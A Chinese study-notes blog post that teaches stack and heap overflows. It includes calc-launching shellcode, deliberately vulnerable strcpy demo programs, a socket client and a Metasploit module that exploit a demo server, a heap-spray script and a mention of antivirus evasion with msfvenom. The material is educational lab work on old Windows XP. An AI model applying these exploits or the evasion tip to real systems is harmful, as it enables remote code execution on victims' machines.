这几天从公司离职回学校做实验清闲了不少,有机合成嘛,仪器搭好光反应就得好几个小时甚至一天,所以抽空写一篇常见漏洞的基础知识,供自己以后复习。虽然都是些东西很基础而且已经过时,但是还是安全路上必不可少的知识啦!
一.缓冲区溢出
溢出的根本原因:冯洛伊曼计算机体系未对数据代码进行区分。
1.1 栈溢出
1.1.1 调用约定
想要弄明白栈溢出,首先得知道三种调用约定:cdecl,stdcall和fastcall。
cdecl是c/c++默认的调用方式,stdcall是windowsAPI默认的调用方式。在x86系统中,cdecl由调用函数负责栈平衡,而stdcall和fastcall都是被调用函数自己负责栈平衡。入栈方面都是从右往左依次入栈,但是fastcall前两个参数要放到ecx和edx中。
在vs2017中进行如下测试:
int _cdecl func1(char a, short b, int c)
{
return a + b + c;
}
int _stdcall func2(char a, short b, int c)
{
return a + b + c;
}
int _fastcall func3(char a, short b, int c)
{
return a + b + c;
}
int main()
{
func1('v', 1, 2);
func2('v', 1, 2);
func3('v', 1, 2);
return 0;
}
debug版对应的汇编代码如下:
int _cdecl func1(char a, short b, int c)
{
push ebp //老ebp入栈
mov ebp,esp //老esp和ebp同位置
sub esp,0C0h //esp上移,局部变量空间
push ebx //ebx,esi,edi无备份。
push esi
push edi
lea edi,[ebp-0C0h] //以下4行代码让cc存满局部变量空间
mov ecx,30h
mov eax,0CCCCCCCCh //cc为断点指令
rep stos dword ptr es:[edi]
return a + b + c;
movsx eax,byte ptr [a]
movsx ecx,word ptr [b]
add eax,dword ptr [c]
add eax,ecx //返回值存放在eax中
}
pop edi //ebx,esi,edi出栈
pop esi
pop ebx
mov esp,ebp //ebp位置传给esp(esp下移)
pop ebp //老ebp重新写入
ret //直接返回,由调用者清理栈。ret会跳到eip所指位置
int _stdcall func2(char a, short b, int c)
{
push ebp
mov ebp,esp
sub esp,0C0h
push ebx
push esi
push edi
lea edi,[ebp-0C0h]
mov ecx,30h
mov eax,0CCCCCCCCh
rep stos dword ptr es:[edi]
return a + b + c;
movsx eax,byte ptr [a]
movsx ecx,word ptr [b]
add eax,dword ptr [c]
add eax,ecx
}
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret 0Ch //被调用者栈平衡
int _fastcall func3(char a, short b, int c)
{
push ebp
mov ebp,esp
sub esp,0D8h
push ebx
push esi
push edi
push ecx
lea edi,[ebp-0D8h]
mov ecx,36h
mov eax,0CCCCCCCCh
rep stos dword ptr es:[edi]
pop ecx
mov word ptr [b],dx
mov byte ptr [a],cl
return a + b + c;
movsx eax,byte ptr [a]
return a + b + c;
movsx ecx,word ptr [b]
add eax,dword ptr [c]
add eax,ecx
}
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret 4
int main()
{
push ebp
mov ebp,esp
sub esp,0C0h
push ebx
push esi
push edi //debug版本特有调试代码
lea edi,[ebp-0C0h]
mov ecx,30h
mov eax,0CCCCCCCCh
rep stos dword ptr es:[edi]
func1('v', 1, 2);
push 2 //入栈顺序
push 1
push 76h
call _func1 (0BC1366h) //调用func1函数
add esp,0Ch //调用者栈平衡
func2('v', 1, 2);
push 2
push 1
push 76h
call _func2@12 (0BC135Ch)
func3('v', 1, 2);
push 2
mov edx,1 //前两个放入寄存器
mov cl,76h
call @func3@12 (0BC1361h)
return 0;
xor eax,eax
}
pop edi
pop esi
pop ebx
add esp,0C0h
cmp ebp,esp
call __RTC_CheckEsp (0BC111Dh)
mov esp,ebp
pop ebp
ret
通过对汇编代码的分析(特地加了注释)可以看出,函数的参数从右向左依次入栈,然后调用call之前eip(返回地址)入栈。老ebp入栈后,esp先上移到和ebp同位置,然后继续上移局部空间的大小。debug版会预留一部分空间让其充满int 3指令。
以func1为例,通过调用约定,栈结构如下:
1.1.2 shellcode
简单了解了调用约定,来看看shellcode。
shellcode就是一段可执行的机器码的十六进制编码字符串,如汇编代码call eax可写成D0FF。
以一个简单的弹计算器代码为例:
"\x8B\xE5" //MOV ESP, EBP
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp, esp
"\x33\xFF" //xor edi,edi
"\x57"//push edi
"\x83\xEC\x08" //sub esp,08h
"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m' 将msvcrt.dll入栈
"\xC6\x45\xF5\x73"//'s'
"\xC6\x45\xF6\x76"//'v'
"\xC6\x45\xF7\x63"//'c'
"\xC6\x45\xF8\x72"//'r'
"\xC6\x45\xF9\x74"//'t'
"\xC6\x45\xFA\x2E"//'.'
"\xC6\x45\xFB\x64"//'d'
"\xC6\x45\xFC\x6C"//'l'
"\xC6\x45\xFD\x6C"//'l'
"\x8D\x45\xF4" //lea eax, [ebp-0ch]
"\x50" //push eax
"\xB8\x7B\x1D\x80\x7C" //mov eax, 7C801D7Bh loadlibraryA函数的地址放入eax中
"\xFF\xD0" //call eax 通过loadlibraryA加载msvcrt.dll
"\x33\xDB" //xor ebx, ebx
"\x53" //push ebx
"\x68\x2E\x65\x78\x65" //push 'exe.' 将calc.exe入栈
"\x68\x63\x61\x6C\x63" //push 'clac'
"\x8B\xC4" //mov eax, esp
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov eax, 77BF93C7h system函数的地址放入eax(在msvcrt.dll中)
"\xFF\xD0" //call eax system("calc.exe");
"\xB8\xFA\xCA\x81\x7C" //mov eax, 7c81cafah ExitProcess函数的地址
"\xFF\xD0"//call eax
上述函数的地址在不同系统下是不一样的,所以函数地址需要硬编码。需要注意,上面的shellcode可以拼接成一个整体,就是去掉双引号。另外shellcode不能含0,会被截断(需要修改汇编指令 mov eax, 0–>xor eax, eax)。 shellcode执行方法(用于线下测试)可以定义一个无返回值的函数指针类型,通过强转的形式执行。
typedef void(*Func)();
((Func)&shellcode)();
1.1.3 shellcode设计
汇编大佬直接写就行,一般人可以通过vs提取shellcode。
思路–>C语言程序–》汇编程序–》嵌入汇编改写–》机器码
先写一段c语言代码:
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR); //定义函数指针
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll");
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址
(ProcAdd) ("calc.exe"); //其实就是执行system("clac.exe")
return 0;
}
用vs2017编译需要将“使用unicode编码”改成“使用多字节字符集”,然后拿出汇编代码,重新编写:
#include <windows.h>
void main()
{
__asm
{
汇编代码
}
}
在拿到机器码后以以下方式执行:
unsigned char sh[]=机器码
typedef void(*Func)();
int main()
{
( (Func) &sh)();
return 0;
}
当然这种方式也很麻烦,所以可以先写好shellcode框架,通过搜索API地址的方法找到目标系统相关函数基地址,拿到基地址后直接修改shellcode模板就可以实现跨平台运行。下面是查找各个函数的地址,思路是先找到函数在那个dll下,然后通过以下方式查找:
#include <windows.h>
#include <stdio.h>
typedef void(*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle1, LibHandle2;
MYPROC ProcAdd;
MYPROC ProcLoad;
MYPROC ProcExit;
LibHandle1 = LoadLibrary("msvcrt.dll");
LibHandle2 = LoadLibrary("Kernel32.dll");
ProcAdd = (MYPROC)GetProcAddress(LibHandle1, "system"); system在msvcrt.dll下
printf("system= 0x%x\n", ProcAdd);
ProcLoad = (MYPROC)GetProcAddress(LibHandle2, "LoadLibraryA");
printf("load= 0x%x\n", ProcLoad);
ProcExit = (MYPROC)GetProcAddress(LibHandle2, "ExitProcess"); ExitProcess在Kernel32.dll下
printf("exit= 0x%x\n", ProcExit);
system("pause");
return 0;
}
弹计算器框架:
unsigned char sh[]=
"\x8B\xE5" //MOV ESP, EBP
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp, esp
"\x33\xFF" //xor edi,edi
"\x57"//push edi
"\x83\xEC\x08" //sub esp,08h
"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m'
"\xC6\x45\xF5\x73"//'s'
"\xC6\x45\xF6\x76"//'v'
"\xC6\x45\xF7\x63"//'c'
"\xC6\x45\xF8\x72"//'r'
"\xC6\x45\xF9\x74"//'t'
"\xC6\x45\xFA\x2E"//'.'
"\xC6\x45\xFB\x64"//'d'
"\xC6\x45\xFC\x6C"//'l'
"\xC6\x45\xFD\x6C"//'l'
"\x8D\x45\xF4" //lea eax, [ebp-0ch]
"\x50" //push eax
"\xB8\x7B\x1D\x80\x7C" //mov eax, 7C801D7Bh loadlibraryA函数的地址
"\xFF\xD0" //call eax
"\x33\xDB" //xor ebx, ebx
"\x53" //push ebx
"\x68\x2E\x65\x78\x65" //push 'exe.'
"\x68\x63\x61\x6C\x63" //push 'clac'
"\x8B\xC4" //mov eax, esp
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov eax, 77BF93C7h system函数的地址
"\xFF\xD0" //call eax
"\xB8\xFA\xCA\x81\x7C" //mov eax, 7c81cafah ExitProcess函数的地址
"\xFF\xD0";//call eax
typedef void(*Func)();
int main()
{
( (Func) &sh)();
system("pause");
return 0;
}
找到后的函数地址根据系统不同进行替换。溢出exp最好在VC6中进行编译,测试发现通过vs2017生成的程序并不能成功弹出计算器(高版本可能有一些保护机制)。将上述代码放到vs2017进行编译然后运行(win10),得到这些函数的地址:
将得到的地址替换之前的地址(以弹计算器为例)放到VC6中进行编译然后放到win10运行:
除了通过vs生成之外,shellcode还可以通过msf生成,和在前面的《metesploit渗透测试工具(二)》生成免杀木马的过程差不多。用msfvenom导出机器码放到编译器里面进行编译可以实现免杀。当然自己编写msf脚本更方便,shellcode都省了,在下面会讲到。
1.1.4 栈溢出原理
通过调用约定分析了栈的结构。现在假设一种情况,当我们向局部变量区域拷贝数据时,拷贝的数据大于局部变量的空间,因为内存增长方向和栈方向相反,所以数据会向下覆盖(内存增长方向覆盖),当覆盖了返回地址后,当前函数执行完成要执行的下一个地址已经变成被覆盖的数据。如果精心构造,使覆盖的数据在返回地址处为我们的shellcode的地址,那程序的下一步执行就会跳到我们的shellcode。这样我们就可以以当前程序权限执行任意代码。
一个溢出的漏洞演示代码:
void msg_display(char *buf)
{
char msg[200];
strcpy(msg,buf);
}
strcpy是一个危险函数,它未对拷贝的字符串长度进行验证,所以可导致缓冲区溢出。
以上面代码为例:
如上图所示,在debug版(考虑老ebp入栈)情况下,当我们向大小为200字节的msg局部变量区域传入大于200字节的数据时,数据会溢出覆盖下面的老ebp,返回地址等。可以有如下几种攻击方式:
1.204字节+msg局部变量区域地址(shellcode存放在局部变量区域)。
2.204字节+堆地址(shellcode存放在堆上)。(堆喷射)
3.204字节+jmp esp地址(跳板)+shellcode。
前两个比较好理解,第三个意思是寻找系统任意一个jmp esp指令(找user32.dll,kernel32.dll中的指令,因为user32.dll,kernel32.dll随系统一起启动,加载的基地址在同一系统始终相同)当执行完jmp esp指令后,ESP所指的位置是覆盖的返回地址的下一位。
jmp esp地址可以如此获取:
//FF E0 JMP EAX
//FF E1 JMP ECX
//FF E2 JMP EDX
//FF E3 JMP EBX
//FF E4 JMP ESP
//FF E5 JMP EBP
//FF E6 JMP ESI
//FF E7 JMP EDI
//FF D0 CALL EAX
//FF D1 CALL ECX
//FF D2 CALL EDX
//FF D3 CALL EBX
//FF D4 CALL ESP
//FF D5 CALL EBP
//FF D6 CALL ESI
//FF D7 CALL EDI
//#define DLL_NAME "mfc42.dll"
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
int main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) //找到jmp esp
{
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
return 0;
}
1.1.5 模拟案例
上面介绍了一些基础知识,现在来进行一些模拟:
备注:因为win10有保护机制每次开机地址会变,所以还是在xp上进行模拟。
先看一段代码:
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
unsigned char shellcode[] =
//"\x8B\xE5" //MOV ESP, EBP
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp, esp
"\x33\xFF" //xor edi,edi
"\x57"//push edi
"\x83\xEC\x08" //sub esp,08h
"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m'
"\xC6\x45\xF5\x73"//'s'
"\xC6\x45\xF6\x76"//'v'
"\xC6\x45\xF7\x63"//'c'
"\xC6\x45\xF8\x72"//'r'
"\xC6\x45\xF9\x74"//'t'
"\xC6\x45\xFA\x2E"//'.'
"\xC6\x45\xFB\x64"//'d'
"\xC6\x45\xFC\x6C"//'l'
"\xC6\x45\xFD\x6C"//'l'
"\x8D\x45\xF4" //lea eax, [ebp-0ch]
"\x50" //push eax
"\xB8\x7B\x1D\x80\x7C" //mov eax, 7C801D7Bh address of loadlibrary
"\xFF\xD0" //call eax
"\x33\xDB" //xor ebx, ebx
"\x53" //push ebx
"\x68\x2E\x65\x78\x65" //push 'exe.'
"\x68\x63\x61\x6C\x63" //push 'clac'
"\x8B\xC4" //mov eax, esp
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov eax, 77BF93C7h address of system
"\xFF\xD0" //call eax
"\xB8\xFA\xCA\x81\x7C" //mov eax, 7c81cafah address of exitprocess
"\xFF\xD0";//call eax
void func1(char* s)
{
char buf[10];
strcpy(buf, s); //调用strcpy
}
}
int main(int argc, char* argv[])
{
char badCode[] = "vvvvvvvvvvvvvvvvvvvvvvvv";
DWORD* pEIP = (DWORD*)&badCode[16]; //指针指到16字节处(12字节的变量区域加老ebp)
*pEIP = (DWORD)shellcode;
func1(badCode);
return 0;
}
先将传入的badcode从16位改为shellcode地址,然后传入buf,导致shellcode执行。在xp中成功弹出计算器:
当然这只是个演示案例,shellcode不会在程序本身中。现在看另一个例子:
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD); //比较密码
strcpy(buffer,password); //危险函数
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password); //读文件
valid_flag = verify_password(password); //将文件内容传入verify_password
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
在这段代码中,我们可以构造一个password.txt文件便可导致栈溢出。因为verify_password中还有另一个整型局部变量authenticated,所以栈的结构如下:
所以我们需要多拷贝8字节才能溢出到返回地址,也就是在52字节+jmp esp+shellcode+exitprocess:
将password文件用16进制打开,然后将shellcode放入:
成功弹出计算器:
循循渐进,再看另一个例子:
//服务端
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char * buf)
{
char msg[200];
strcpy(msg,buf); //溢出
cout<<"********************"<<endl;
cout<<"received:"<<endl;
cout<<msg<<endl;
}
void main()
{
int sock,msgsock,lenth,receive_len;
struct sockaddr_in sock_server,sock_client;
char buf[0x200]; //noticed it is 0x200
WSADATA wsa;
WSAStartup(MAKEWORD(1,1),&wsa);
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
{
cout<<sock<<"socket creating error!"<<endl;
exit(1);
}
sock_server.sin_family=AF_INET;
sock_server.sin_port=htons(7777);
sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
{
cout<<"binging stream socket error!"<<endl;
}
cout<<"**************************************"<<endl;
cout<<" exploit target server 1.0 "<<endl;
cout<<"**************************************"<<endl;
listen(sock,4);
lenth=sizeof(struct sockaddr);
do{
msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
if(msgsock==-1)
{
cout<<"accept error!"<<endl;
break;
}
else
do
{
memset(buf,0,sizeof(buf));
if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0) //buf存放客户端发送的请求
{
cout<<"reading stream message erro!"<<endl;
receive_len=0;
}
msg_display(buf);
}while(receive_len);
closesocket(msgsock);
}while(1);
WSACleanup();
}
//客户端
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <conio.h>
//xp sp3
#pragma comment(lib,"Ws2_32")
unsigned char buff[0x200] =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaa"//200个a
"\x53\x93\xd2\x77"//jmp esp
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c" //loadlibraryA地址
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65"
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe");
"\xFF\xD0"
"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
"\xff\xd0"//ExitProcess(0);
;
void main(int argc, char* argv[])
{
int fd;
int rtval;
struct sockaddr_in addr;
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
/* Tell the user that we could not find a usable */
/* Winsock DLL. */
printf("WSAStartup failed with error: %d\n", err);
return;
}
//建立TCP套接字
fd = socket(AF_INET, SOCK_STREAM, 0);
//初始化客户端地址
memset(&addr, 0, sizeof (addr));
//设置地址协议族
addr.sin_family = AF_INET;
//设置要连接的IP地址
addr.sin_addr.s_addr = inet_addr(argv[1]);
//设置端口
addr.sin_port = htons(7777);
//连接服务器端
rtval = connect(fd, (struct sockaddr *)&addr, sizeof (addr));
if (rtval == -1)
return;
//向服务器端写数据
printf("normal input:hello world\n");
send(fd, (const char *)"hello world",strlen("hello world")+1,0);
printf("press any key to start overflow\n");
getch();
send(fd, (const char *)buff, sizeof(buff),0); //传送buf中的数据
//从服务器端读数据
//recv(fd, buff, 80,0);
//printf("%s\n", buff);
//关闭套接字
closesocket(fd);
WSACleanup();
return;
}
服务端负责接收客户端的请求,客户端向服务器发送恶意荷载,导致服务器执行了恶意荷载。
1.1.6 使用MSF利用漏洞
metasploit也提供了一个可编程化的平台,可以通过ruby编写脚本,然后放到msfconsole中进行利用攻击。
脚本编写msf有自己的格式,以上面最后一个例子为例,ruby脚本如下:
require 'msf/core' //引入msf core 库
class MetasploitModule < Msf::Exploit::Remote # 继承 Msf::Exploit 类
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp //引入module
def initialize(info = {}) //函数初始化
super(update_info(info,
'Name' => 'volcanohatred',
'Author' => [ 'volcanohatred' ],
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00", //不能包含坏字符
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' => //targets设置,用于msfconsole中set targets
[
['Windows 2000', {'Ret' => 0x77df4c29 } ],
['Windows XP SP3',{'Ret' => 0x77d29353} ]
],
'DisclosureDate' => 'Dec 14 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(42)
], self.class )
end
def exploit
connect //未填写内容,在msfconsole中填写
attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded //payload用msf中的payload,无需自己生成payload
sock.put(attack_buf)
handler
disconnect
end
end
放到msf中reload以下就可以use啦。当然上面只是一个简单的metasploit脚本,详细的使用以后有时间再写。
1.2 堆溢出
栈溢出相对来说比较简单,现在说说堆溢出。
堆简单来说就是用户自己分配的内存,用数据结构来说,栈是队列,堆其实是一个双向链表。当用户要分配一个内存时,系统卸掉双向链表中的一个节点,类似于删除一个链表。
先复习下双向链表的结构体:
typedef struct _dnode
{
int data;
struct _dnode *pre;//前向指针,指向结点左边的节点
struct _dnode *next;//后继指针,指向结点右边的节点
}dnode, *pdnode;
当删除一个链表节点时,当前节点的前向指针的后继指针(就是前一个节点的后继指针)指向后一个节点,后一个节点的前向指针指向前一个节点。
#include <stdio.h>
#include <malloc.h>
int main( int argc, char * argv[] )
{
char *p1=malloc(Node0);
strcpy(p1,buf) //造成缓冲区溢出
char *p2=malloc(Node1); //malloc堆溢出
return 0;
}
在上述代码中,堆结果如下:
node0被分配,通过strcpy将buf中的数据拷入p1,也就是node0的data区,当我们多拷贝16字节,则会将node1的p_size,s_size,fp,bp覆盖:
覆盖之后,当再次调用malloc分配node1的时候,原本的传递由:
Node1->bp->fp=Node1->fp变为
((Node1->B)+0x0)=Node1->A,bp相对一个节点的偏移是0(绕过p_size和s_size),所以就将某一函数的地址指向shellcode(4字节,也可以是地址或者恶意变量)即*B=A。当我们访问这个函数的时候,shellcode会被执行。
1.3 SEH溢出
也是一种栈溢出,就是将异常处理函数地址覆盖
1.4 HEAP-SPRAY堆喷射
在栈溢出时,上面讲了三种shellcode存放方式,第二种是将shellcode存放到堆上。堆喷射技术就是如此。
<script language="javascript">
var shellcode=unescape("....." ) ;//unescape解码
var nop=unescape("%u9090%u9090");//unescape解码
while (nop.length<= 0x100000/2)
{
nop+=nop;
}
//generate 1MB memory block which full filled with "nop"
//0x100000/2即2^21/2=2^20即1MB 0001 0000 0000 0000 0000 0000
//malloc header = 32 bytes
//string length = 4 bytes
//NULL terminator = 2 bytes
//
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Array();//fill 200MB heap memory with our block
for (var i=0; i<200; i++)
{
slide[i] = nop + shellcode;//每1M都由0x90 0x90 0x90 0x90 0x90 0x90... shellcode \0\0组成
}
</script>
二.整数溢出
三.格式化字符串
四.释放后使用
五.保护机制及绕过
这章讲讲系统的保护机制顺便讲讲绕过方式,绕过主要在linux下进行,windows上不太会(虽然上面大多数例子在windows上演示),但是对漏洞的理解也是没有差别的啦。一些例子都是CTF中pwn的一些例子,但是加了一些个人的理解。
1.2 ROP
ROP即Return-oriented programming,面向返回编程,用来对抗DEP(数据执行保护)ROP,因为DEP的存在,导致攻击代码并不能执行。
Related Issues not found
Please contact @volcanohatred to initialize the comment